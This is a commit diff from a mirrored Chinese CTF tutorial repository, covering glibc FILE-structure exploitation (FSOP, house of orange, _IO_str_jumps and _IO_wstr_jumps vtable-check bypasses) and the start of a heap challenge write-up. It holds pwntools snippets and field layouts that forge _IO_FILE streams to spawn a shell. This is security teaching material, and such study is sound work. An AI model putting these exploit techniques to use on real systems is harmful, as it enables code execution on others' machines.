mirror of
https://github.com/nganhkhoa/CTF-All-In-One.git
synced 2024-12-24 19:21:15 +07:00
finish 6.1.26
This commit is contained in:
parent
b512426901
commit
6301bcc4f8
@ -908,7 +908,7 @@ _IO_flush_all_lockp (int do_lock)
|
||||
return result;
|
||||
}
|
||||
```
|
||||
`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。
|
||||
`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用最终会变成对 `system('/bin/sh')` 的调用。
|
||||
```c
|
||||
// libio/libioP.h
|
||||
/* We always allocate an extra word following an _IO_FILE.
|
||||
@ -1001,7 +1001,7 @@ struct _IO_jump_t
|
||||
```
|
||||
伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。
|
||||
|
||||
当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置处是 smallbins[4](或者说 bins[6])。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[4] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。
|
||||
当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置上是 smallbins[5]。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。
|
||||
|
||||
在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查:
|
||||
```c
|
||||
|
@ -2,8 +2,9 @@
|
||||
|
||||
- [FILE 结构](#file-结构)
|
||||
- [FSOP](#fsop)
|
||||
- [防御机制](#防御机制)
|
||||
- [新的利用技术](#新的利用技术)
|
||||
- [libc-2.24 防御机制](#libc-224-防御机制)
|
||||
- [libc-2.24 利用技术](#libc-224-利用技术)
|
||||
- [最新动态](#最新动态)
|
||||
- [CTF 实例](#ctf-实例)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
@ -136,6 +137,35 @@ extern struct _IO_FILE_plus _IO_2_1_stderr_;
|
||||
```
|
||||
进程中的 FILE 结构会通过 `_chain` 域构成一个链表,链表头部用全局变量 `_IO_list_all` 表示。
|
||||
|
||||
另外 `_IO_wide_data` 结构也是后面需要的:
|
||||
```c
|
||||
/* Extra data for wide character streams. */
|
||||
struct _IO_wide_data
|
||||
{
|
||||
wchar_t *_IO_read_ptr; /* Current read pointer */
|
||||
wchar_t *_IO_read_end; /* End of get area. */
|
||||
wchar_t *_IO_read_base; /* Start of putback+get area. */
|
||||
wchar_t *_IO_write_base; /* Start of put area. */
|
||||
wchar_t *_IO_write_ptr; /* Current put pointer. */
|
||||
wchar_t *_IO_write_end; /* End of put area. */
|
||||
wchar_t *_IO_buf_base; /* Start of reserve area. */
|
||||
wchar_t *_IO_buf_end; /* End of reserve area. */
|
||||
/* The following fields are used to support backing up and undo. */
|
||||
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
|
||||
wchar_t *_IO_backup_base; /* Pointer to first valid character of
|
||||
backup area */
|
||||
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */
|
||||
|
||||
__mbstate_t _IO_state;
|
||||
__mbstate_t _IO_last_state;
|
||||
struct _IO_codecvt _codecvt;
|
||||
|
||||
wchar_t _shortbuf[1];
|
||||
|
||||
const struct _IO_jump_t *_wide_vtable;
|
||||
};
|
||||
```
|
||||
|
||||
下面我们来看几个函数的实现。
|
||||
#### fopen
|
||||
```c
|
||||
@ -392,7 +422,7 @@ FSOP(File Stream Oriented Programming)是一种劫持 `_IO_list_all`(libc.
|
||||
- 执行 exit 函数时
|
||||
- main 函数返回时
|
||||
|
||||
当 glibc 检测到内存错误时,会依次调用这样的函数路径:`malloc_printerr -> _libc_message -> abort -> _IO_flush_all_lockp`。
|
||||
当 glibc 检测到内存错误时,会依次调用这样的函数路径:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW`。
|
||||
```c
|
||||
// libio/genops.c
|
||||
|
||||
@ -424,7 +454,7 @@ _IO_flush_all_lockp (int do_lock)
|
||||
> fp->_wide_data->_IO_write_base))
|
||||
#endif
|
||||
)
|
||||
&& _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数
|
||||
&& _IO_OVERFLOW (fp, EOF) == EOF) // fp 指向伪造的 vtable
|
||||
result = EOF;
|
||||
|
||||
if (do_lock)
|
||||
@ -438,7 +468,7 @@ _IO_flush_all_lockp (int do_lock)
|
||||
last_stamp = _IO_list_all_stamp;
|
||||
}
|
||||
else
|
||||
fp = fp->_chain; // 指向我们指定的区域
|
||||
fp = fp->_chain; // 指向下一个 IO_FILE 对象
|
||||
}
|
||||
|
||||
#ifdef _IO_MTSAFE_IO
|
||||
@ -450,10 +480,81 @@ _IO_flush_all_lockp (int do_lock)
|
||||
return result;
|
||||
}
|
||||
```
|
||||
于是对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。
|
||||
```c
|
||||
// libio/libioP.h
|
||||
|
||||
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
|
||||
#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH)
|
||||
```
|
||||
于是在 `_IO_OVERFLOW(fp, EOF)` 的执行过程中最终会调用 `system('/bin/sh')`。
|
||||
|
||||
还有一条 FSOP 的路径是在关闭 stream 的时候:
|
||||
```c
|
||||
// libio/iofclose.c
|
||||
|
||||
int
|
||||
_IO_new_fclose (_IO_FILE *fp)
|
||||
{
|
||||
int status;
|
||||
|
||||
CHECK_FILE(fp, EOF);
|
||||
|
||||
#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1)
|
||||
/* We desperately try to help programs which are using streams in a
|
||||
strange way and mix old and new functions. Detect old streams
|
||||
here. */
|
||||
if (_IO_vtable_offset (fp) != 0)
|
||||
return _IO_old_fclose (fp);
|
||||
#endif
|
||||
|
||||
/* First unlink the stream. */
|
||||
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
|
||||
_IO_un_link ((struct _IO_FILE_plus *) fp);
|
||||
|
||||
_IO_acquire_lock (fp);
|
||||
if (fp->_IO_file_flags & _IO_IS_FILEBUF)
|
||||
status = _IO_file_close_it (fp);
|
||||
else
|
||||
status = fp->_flags & _IO_ERR_SEEN ? -1 : 0;
|
||||
_IO_release_lock (fp);
|
||||
_IO_FINISH (fp); // fp 指向伪造的 vtable
|
||||
if (fp->_mode > 0)
|
||||
{
|
||||
#if _LIBC
|
||||
/* This stream has a wide orientation. This means we have to free
|
||||
the conversion functions. */
|
||||
struct _IO_codecvt *cc = fp->_codecvt;
|
||||
|
||||
__libc_lock_lock (__gconv_lock);
|
||||
__gconv_release_step (cc->__cd_in.__cd.__steps);
|
||||
__gconv_release_step (cc->__cd_out.__cd.__steps);
|
||||
__libc_lock_unlock (__gconv_lock);
|
||||
#endif
|
||||
}
|
||||
else
|
||||
{
|
||||
if (_IO_have_backup (fp))
|
||||
_IO_free_backup_area (fp);
|
||||
}
|
||||
if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr)
|
||||
{
|
||||
fp->_IO_file_flags = 0;
|
||||
free(fp);
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
```
|
||||
```c
|
||||
// libio/libioP.h
|
||||
|
||||
#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0)
|
||||
#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0)
|
||||
```
|
||||
于是在 `_IO_FINISH (fp)` 的执行过程中最终会调用 `system('/bin/sh')`。
|
||||
|
||||
|
||||
## 防御机制
|
||||
## libc-2.24 防御机制
|
||||
但是在 libc-2.24 中加入了对 vtable 指针的检查。这个 [commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51) 新增了两个函数:`IO_validate_vtable` 和 `_IO_vtable_check`。
|
||||
```c
|
||||
// libio/libioP.h
|
||||
@ -517,9 +618,12 @@ _IO_vtable_check (void)
|
||||
所有的 libio vtables 被放进了专用的只读的 `__libc_IO_vtables` 段,以使它们在内存中连续。在任何间接跳转之前,vtable 指针将根据段边界进行检查,如果指针不在这个段,则调用函数 `_IO_vtable_check()` 做进一步的检查,并且在必要时终止进程。
|
||||
|
||||
|
||||
## 新的利用技术
|
||||
## libc-2.24 利用技术
|
||||
#### _IO_str_jumps
|
||||
在防御机制下通过修改虚表的利用技术已经用不了了,但同时出现了新的利用技术。既然无法将 vtable 指针指向 `__libc_IO_vtables` 以外的地方,那么就在 `__libc_IO_vtables` 里面找些有用的东西。比如 `_IO_str_jumps`(该符号在strip后会丢失):
|
||||
```c
|
||||
// libio/strops.c
|
||||
|
||||
const struct _IO_jump_t _IO_str_jumps libio_vtable =
|
||||
{
|
||||
JUMP_INIT_DUMMY,
|
||||
@ -544,6 +648,11 @@ const struct _IO_jump_t _IO_str_jumps libio_vtable =
|
||||
JUMP_INIT(imbue, _IO_default_imbue)
|
||||
};
|
||||
```
|
||||
```c
|
||||
// libio/libioP.h
|
||||
|
||||
#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0)
|
||||
```
|
||||
这个 vtable 中包含了一个叫做 `_IO_str_overflow` 的函数,该函数中存在相对地址的引用(可伪造):
|
||||
```c
|
||||
int
|
||||
@ -574,52 +683,193 @@ _IO_str_overflow (_IO_FILE *fp, int c)
|
||||
return EOF;
|
||||
new_buf
|
||||
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 在这个相对地址放上 system 的地址,即 system("/bin/sh")
|
||||
if (new_buf == NULL)
|
||||
{
|
||||
/* __ferror(fp) = 1; */
|
||||
return EOF;
|
||||
}
|
||||
if (old_buf)
|
||||
{
|
||||
memcpy (new_buf, old_buf, old_blen);
|
||||
(*((_IO_strfile *) fp)->_s._free_buffer) (old_buf);
|
||||
/* Make sure _IO_setb won't try to delete _IO_buf_base. */
|
||||
fp->_IO_buf_base = NULL;
|
||||
}
|
||||
memset (new_buf + old_blen, '\0', new_size - old_blen);
|
||||
|
||||
_IO_setb (fp, new_buf, new_buf + new_size, 1);
|
||||
fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf);
|
||||
fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf);
|
||||
fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf);
|
||||
fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf);
|
||||
|
||||
fp->_IO_write_base = new_buf;
|
||||
fp->_IO_write_end = fp->_IO_buf_end;
|
||||
}
|
||||
}
|
||||
|
||||
if (!flush_only)
|
||||
*fp->_IO_write_ptr++ = (unsigned char) c;
|
||||
if (fp->_IO_write_ptr > fp->_IO_read_end)
|
||||
fp->_IO_read_end = fp->_IO_write_ptr;
|
||||
return c;
|
||||
}
|
||||
[...]
|
||||
```
|
||||
构造的条件如下:
|
||||
- _flags = 0
|
||||
- _IO_buf_base = 0
|
||||
- _IO_buf_end = (bin_sh - 100) / 2
|
||||
- _IO_write_ptr = 0x7fffffffffffffff
|
||||
- _IO_write_base = 0
|
||||
- _mode = 0
|
||||
```c
|
||||
// libio/strfile.h
|
||||
|
||||
struct _IO_str_fields
|
||||
{
|
||||
_IO_alloc_type _allocate_buffer;
|
||||
_IO_free_type _free_buffer;
|
||||
};
|
||||
|
||||
struct _IO_streambuf
|
||||
{
|
||||
struct _IO_FILE _f;
|
||||
const struct _IO_jump_t *vtable;
|
||||
};
|
||||
|
||||
typedef struct _IO_strfile_
|
||||
{
|
||||
struct _IO_streambuf _sbf;
|
||||
struct _IO_str_fields _s;
|
||||
} _IO_strfile;
|
||||
```
|
||||
所以可以像下面这样构造:
|
||||
- fp->_flags = 0
|
||||
- fp->_IO_buf_base = 0
|
||||
- fp->_IO_buf_end = (bin_sh_addr - 100) / 2
|
||||
- fp->_IO_write_ptr = 0xffffffff
|
||||
- fp->_IO_write_base = 0
|
||||
- fp->_mode = 0
|
||||
|
||||
有一点要注意的是,如果 bin_sh_addr 的地址以奇数结尾,为了避免除法向下取整的干扰,可以将该地址加 1。另外 system("/bin/sh") 是可以用 one_gadget 来代替的,这样似乎更加简单。
|
||||
|
||||
完整的调用过程:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow`。
|
||||
|
||||
与传统的 house-of-orange 不同的是,这种利用方法不再需要知道 heap 的地址,因为 `_IO_str_jumps` vtable 是在 libc 上的,所以只要能泄露出 libc 的地址就可以了。
|
||||
|
||||
在这个 vtable 中,还有另一个函数 `_IO_str_finish`,它的检查条件比较简单:
|
||||
```c
|
||||
void
|
||||
_IO_str_finish (_IO_FILE *fp, int dummy)
|
||||
{
|
||||
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) // 条件
|
||||
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); // 在这个相对地址放上 system 的地址
|
||||
fp->_IO_buf_base = NULL;
|
||||
|
||||
_IO_default_finish (fp, 0);
|
||||
}
|
||||
```
|
||||
只要在 `fp->_IO_buf_base` 放上 "/bin/sh" 的地址,然后设置 `fp->_flags = 0` 就可以了绕过函数里的条件。
|
||||
|
||||
那么怎样让程序进入 `_IO_str_finish` 执行呢,`fclose(fp)` 是一条路,但似乎有局限。还是回到异常处理上来,在 `_IO_flush_all_lockp` 函数中是通过 `_IO_OVERFLOW` 执行的 `__GI__IO_str_overflow`,而 `_IO_OVERFLOW` 是根据 `__overflow` 相对于 `_IO_str_jumps` vtable 的偏移找到具体函数的。所以如果我们伪造传递给 `_IO_OVERFLOW(fp)` 的 fp 是 vtable 的地址减去 0x8,那么根据偏移,程序将找到 `_IO_str_finish` 并执行。
|
||||
|
||||
所以可以像下面这样构造:
|
||||
- fp->_mode = 0
|
||||
- fp->_IO_write_ptr = 0xffffffff
|
||||
- fp->_IO_write_base = 0
|
||||
- fp->_wide_data->_IO_buf_base = bin_sh_addr (也就是 fp->_IO_write_end)
|
||||
- fp->_flags2 = 0
|
||||
- fp->_mode = 0
|
||||
|
||||
完整的调用过程:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish`。
|
||||
|
||||
#### _IO_wstr_jumps
|
||||
`_IO_wstr_jumps` 也是一个符合条件的 vtable,总体上和上面讲的 `_IO_str_jumps` 差不多:
|
||||
```c
|
||||
// libio/wstrops.c
|
||||
|
||||
const struct _IO_jump_t _IO_wstr_jumps libio_vtable =
|
||||
{
|
||||
JUMP_INIT_DUMMY,
|
||||
JUMP_INIT(finish, _IO_wstr_finish),
|
||||
JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow),
|
||||
JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow),
|
||||
JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow),
|
||||
JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail),
|
||||
JUMP_INIT(xsputn, _IO_wdefault_xsputn),
|
||||
JUMP_INIT(xsgetn, _IO_wdefault_xsgetn),
|
||||
JUMP_INIT(seekoff, _IO_wstr_seekoff),
|
||||
JUMP_INIT(seekpos, _IO_default_seekpos),
|
||||
JUMP_INIT(setbuf, _IO_default_setbuf),
|
||||
JUMP_INIT(sync, _IO_default_sync),
|
||||
JUMP_INIT(doallocate, _IO_wdefault_doallocate),
|
||||
JUMP_INIT(read, _IO_default_read),
|
||||
JUMP_INIT(write, _IO_default_write),
|
||||
JUMP_INIT(seek, _IO_default_seek),
|
||||
JUMP_INIT(close, _IO_default_close),
|
||||
JUMP_INIT(stat, _IO_default_stat),
|
||||
JUMP_INIT(showmanyc, _IO_default_showmanyc),
|
||||
JUMP_INIT(imbue, _IO_default_imbue)
|
||||
};
|
||||
```
|
||||
|
||||
利用函数 `_IO_wstr_overflow`:
|
||||
```c
|
||||
_IO_wint_t
|
||||
_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c)
|
||||
{
|
||||
int flush_only = c == WEOF;
|
||||
_IO_size_t pos;
|
||||
if (fp->_flags & _IO_NO_WRITES)
|
||||
return flush_only ? 0 : WEOF;
|
||||
if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING))
|
||||
{
|
||||
fp->_flags |= _IO_CURRENTLY_PUTTING;
|
||||
fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr;
|
||||
fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end;
|
||||
}
|
||||
pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base;
|
||||
if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only)) // 条件 #define _IO_wblen(fp) ((fp)->_wide_data->_IO_buf_end - (fp)->_wide_data->_IO_buf_base)
|
||||
{
|
||||
if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */
|
||||
return WEOF;
|
||||
else
|
||||
{
|
||||
wchar_t *new_buf;
|
||||
wchar_t *old_buf = fp->_wide_data->_IO_buf_base;
|
||||
size_t old_wblen = _IO_wblen (fp);
|
||||
_IO_size_t new_size = 2 * old_wblen + 100; // 使 new_size * sizeof(wchar_t) 为 "/bin/sh" 的地址
|
||||
|
||||
if (__glibc_unlikely (new_size < old_wblen)
|
||||
|| __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t)))
|
||||
return EOF;
|
||||
|
||||
new_buf
|
||||
= (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size
|
||||
* sizeof (wchar_t)); // 在这个相对地址放上 system 的地址
|
||||
[...]
|
||||
```
|
||||
|
||||
利用函数 `_IO_wstr_finish`:
|
||||
```c
|
||||
void
|
||||
_IO_wstr_finish (_IO_FILE *fp, int dummy)
|
||||
{
|
||||
if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF)) // 条件
|
||||
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base); // 在这个相对地址放上 system 的地址
|
||||
fp->_wide_data->_IO_buf_base = NULL;
|
||||
|
||||
_IO_wdefault_finish (fp, 0);
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
## 最新动态
|
||||
来自 glibc 的 master 分支上的一次 [commit](https://sourceware.org/git/?p=glibc.git;a=commit;h=4e8a6346cd3da2d88bbad745a1769260d36f2783),不出意外应该会出现在 libc-2.28 中。
|
||||
|
||||
该方法简单粗暴,用操作堆的 malloc 和 free 替换掉原来在 `_IO_str_fields` 里的 `_allocate_buffer` 和 `_free_buffer`。由于不再使用偏移,就不能再利用 `__libc_IO_vtables` 上的 vtable 绕过检查,于是上面的利用技术就都失效了。:(
|
||||
|
||||
|
||||
## CTF 实例
|
||||
请查看章节 6.1.24、6.1.25 和 6.1.26。另外在章节 3.1.8 中也有相关内容。
|
||||
|
||||
附上偏移,构造时候方便一点:
|
||||
```
|
||||
0x0 _flags
|
||||
0x8 _IO_read_ptr
|
||||
0x10 _IO_read_end
|
||||
0x18 _IO_read_base
|
||||
0x20 _IO_write_base
|
||||
0x28 _IO_write_ptr
|
||||
0x30 _IO_write_end
|
||||
0x38 _IO_buf_base
|
||||
0x40 _IO_buf_end
|
||||
0x48 _IO_save_base
|
||||
0x50 _IO_backup_base
|
||||
0x58 _IO_save_end
|
||||
0x60 _markers
|
||||
0x68 _chain
|
||||
0x70 _fileno
|
||||
0x74 _flags2
|
||||
0x78 _old_offset
|
||||
0x80 _cur_column
|
||||
0x82 _vtable_offset
|
||||
0x83 _shortbuf
|
||||
0x88 _lock
|
||||
0x90 _offset
|
||||
0x98 _codecvt
|
||||
0xa0 _wide_data
|
||||
0xa8 _freeres_list
|
||||
0xb0 _freeres_buf
|
||||
0xb8 __pad5
|
||||
0xc0 _mode
|
||||
0xc4 _unused2
|
||||
0xd8 vtable
|
||||
```
|
||||
|
||||
|
||||
## 参考资料
|
||||
- [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/)
|
||||
|
@ -708,7 +708,7 @@ gdb-peda$ x/36gx 0x5555557580c0+0x410
|
||||
0x5555557585d0: 0x0000000000000001 0x0000000000000002
|
||||
0x5555557585e0: 0x00007ffff7a53380 0x000000000000000a
|
||||
```
|
||||
可以看到 old top chunk 的 size 被改写为 0x60,在下次分配时,会先从 unsorted bin 中取下 old top chunk,将其放到 smallbin[4],同时,unsorted bin 的 bk 也将被改写成了 `&IO_list_all-0x10`。
|
||||
可以看到 old top chunk 的 size 被改写为 0x60,在下次分配时,会先从 unsorted bin 中取下 old top chunk,将其放到 smallbins[5],同时,unsorted bin 的 bk 也将被改写成了 `&IO_list_all-0x10`。
|
||||
|
||||
#### pwn
|
||||
```python
|
||||
@ -716,7 +716,7 @@ def pwn():
|
||||
io.sendlineafter("Your choice : ", '1') # abort routine
|
||||
io.interactive()
|
||||
```
|
||||
由于不能够通过检查,将触发异常处理过程,`malloc_printerr -> _libc_message -> abort -> _IO_flush_all_lockp`。
|
||||
由于不能够通过检查,将触发异常处理过程,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp`。
|
||||
|
||||
开启 ASLR,Bingo!!!
|
||||
```
|
||||
|
@ -150,7 +150,7 @@ def house_of_orange():
|
||||
stream = p64(0) + p64(0x61) # fake header # fp
|
||||
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||||
stream += p64(0) # fp->_IO_write_base
|
||||
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(0xffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||||
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||||
stream = stream.ljust(0xc0, '\x00')
|
||||
@ -196,7 +196,7 @@ def pwn():
|
||||
io.sendline("0") # abort routine
|
||||
io.interactive()
|
||||
```
|
||||
最后触发异常处理,获得 shell。
|
||||
最后触发异常处理,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow`,获得 shell。
|
||||
|
||||
开启 ASLR,Bingo!!!
|
||||
```
|
||||
@ -259,7 +259,7 @@ def house_of_orange():
|
||||
stream = p64(0) + p64(0x61) # fake header # fp
|
||||
stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer
|
||||
stream += p64(0) # fp->_IO_write_base
|
||||
stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(0xffffffff) # fp->_IO_write_ptr
|
||||
stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base
|
||||
stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end
|
||||
stream = stream.ljust(0xc0, '\x00')
|
||||
|
@ -21,10 +21,543 @@ Compiled by GNU CC version 6.3.0 20170406.
|
||||
```
|
||||
64 位程序 ,开启了 canary、NX 和 PIE,默认开启 ASLR。
|
||||
|
||||
在 Ubuntu16.10 上玩一下:
|
||||
```
|
||||
) alloc
|
||||
2) write
|
||||
3) print
|
||||
4) free
|
||||
1 <-- alloc 1
|
||||
slot? (0-9)
|
||||
1
|
||||
1) alloc
|
||||
2) write
|
||||
3) print
|
||||
4) free
|
||||
2
|
||||
slot? (0-9)
|
||||
1 <-- write 1
|
||||
AAAAAAAAAAAAAAAA
|
||||
1) alloc
|
||||
2) write
|
||||
3) print
|
||||
4) free
|
||||
4 <-- free 1
|
||||
slot? (0-9)
|
||||
1
|
||||
1) alloc
|
||||
2) write
|
||||
3) print
|
||||
4) free
|
||||
2 <-- write 1
|
||||
slot? (0-9)
|
||||
1
|
||||
BBBBBBBB
|
||||
1) alloc
|
||||
2) write
|
||||
3) print
|
||||
4) free
|
||||
3 <-- print 1
|
||||
slot? (0-9)
|
||||
1
|
||||
BBBBBBBB
|
||||
AAAAAAA
|
||||
|
||||
1) alloc
|
||||
2) write
|
||||
3) print
|
||||
4) free
|
||||
3 <-- print 2
|
||||
slot? (0-9)
|
||||
2
|
||||
Segmentation fault (core dumped)
|
||||
```
|
||||
很清晰的 4 个功能:alloc、write、print 和 free。通过尝试似乎就发现了问题,free 的时候没有将指针置空,导致 UAF。读入的字符串末尾没有加 `\x00` 导致信息泄露。最后如果 print 一个还没有 alloc 的 slot,则出现段错误。
|
||||
|
||||
|
||||
## 题目解析
|
||||
#### main
|
||||
```
|
||||
[0x00000790]> pdf @ main
|
||||
/ (fcn) main 180
|
||||
| main ();
|
||||
| ; var int local_20h @ rbp-0x20
|
||||
| ; var int local_14h @ rbp-0x14
|
||||
| ; var int local_8h @ rbp-0x8
|
||||
| ; var int local_4h @ rbp-0x4
|
||||
| ; DATA XREF from 0x000007ad (entry0)
|
||||
| 0x00000a91 push rbp
|
||||
| 0x00000a92 mov rbp, rsp
|
||||
| 0x00000a95 sub rsp, 0x20
|
||||
| 0x00000a99 mov dword [local_14h], edi
|
||||
| 0x00000a9c mov qword [local_20h], rsi
|
||||
| ; CODE XREF from 0x00000b40 (main)
|
||||
| .-> 0x00000aa0 mov eax, 0
|
||||
| : 0x00000aa5 call sym.menu
|
||||
| : 0x00000aaa mov eax, 0
|
||||
| : 0x00000aaf call sym.read_int ; ssize_t read(int fildes, void *buf, size_t nbyte)
|
||||
| : 0x00000ab4 mov dword [local_8h], eax
|
||||
| : 0x00000ab7 lea rdi, str.slot___0_9 ; 0xbfe ; "slot? (0-9)"
|
||||
| : 0x00000abe call sym.myputs
|
||||
| : 0x00000ac3 mov eax, 0
|
||||
| : 0x00000ac8 call sym.read_int ; 读入 slot
|
||||
| : 0x00000acd mov dword [local_4h], eax ; slot 放到 [local_4h]
|
||||
| : 0x00000ad0 cmp dword [local_4h], 0
|
||||
| ,==< 0x00000ad4 js 0xadc ; slot 小于 0 时跳转,程序退出
|
||||
| |: 0x00000ad6 cmp dword [local_4h], 9 ; [0x9:4]=0
|
||||
| ,===< 0x00000ada jle 0xae6 ; slot 小于等于 9 时跳转
|
||||
| ||: ; CODE XREF from 0x00000ad4 (main)
|
||||
| |`--> 0x00000adc mov edi, 0
|
||||
| | : 0x00000ae1 call sym.imp.exit ; void exit(int status)
|
||||
| | : ; CODE XREF from 0x00000ada (main)
|
||||
| `---> 0x00000ae6 mov eax, dword [local_8h]
|
||||
| : 0x00000ae9 cmp eax, 2
|
||||
| ,==< 0x00000aec je 0xb12 ; write
|
||||
| |: 0x00000aee cmp eax, 2
|
||||
| ,===< 0x00000af1 jg 0xafa
|
||||
| ||: 0x00000af3 cmp eax, 1
|
||||
| ,====< 0x00000af6 je 0xb06 ; alloc
|
||||
| ,=====< 0x00000af8 jmp 0xb36
|
||||
| ||||: ; CODE XREF from 0x00000af1 (main)
|
||||
| ||`---> 0x00000afa cmp eax, 3
|
||||
| ||,===< 0x00000afd je 0xb1e ; print
|
||||
| ||||: 0x00000aff cmp eax, 4
|
||||
| ,======< 0x00000b02 je 0xb2a ; free
|
||||
| ,=======< 0x00000b04 jmp 0xb36
|
||||
| ||||||: ; CODE XREF from 0x00000af6 (main)
|
||||
| |||`----> 0x00000b06 mov eax, dword [local_4h] ; 取出 slot
|
||||
| ||| ||: 0x00000b09 mov edi, eax
|
||||
| ||| ||: 0x00000b0b call sym.alloc_it ; 调用函数 alloc_it(slot)
|
||||
| |||,====< 0x00000b10 jmp 0xb40
|
||||
| ||||||: ; CODE XREF from 0x00000aec (main)
|
||||
| |||||`--> 0x00000b12 mov eax, dword [local_4h] ; 取出 slot
|
||||
| ||||| : 0x00000b15 mov edi, eax
|
||||
| ||||| : 0x00000b17 call sym.write_it ; 调用函数 write_it(slot)
|
||||
| |||||,==< 0x00000b1c jmp 0xb40
|
||||
| ||||||: ; CODE XREF from 0x00000afd (main)
|
||||
| ||||`---> 0x00000b1e mov eax, dword [local_4h] ; 取出 slot
|
||||
| |||| |: 0x00000b21 mov edi, eax
|
||||
| |||| |: 0x00000b23 call sym.print_it ; 调用函数 print_it(slot)
|
||||
| ||||,===< 0x00000b28 jmp 0xb40
|
||||
| |`------> 0x00000b2a mov eax, dword [local_4h] ; 取出 slot
|
||||
| | ||||: 0x00000b2d mov edi, eax
|
||||
| | ||||: 0x00000b2f call sym.free_it ; 调用函数 free_it(slot)
|
||||
| |,======< 0x00000b34 jmp 0xb40
|
||||
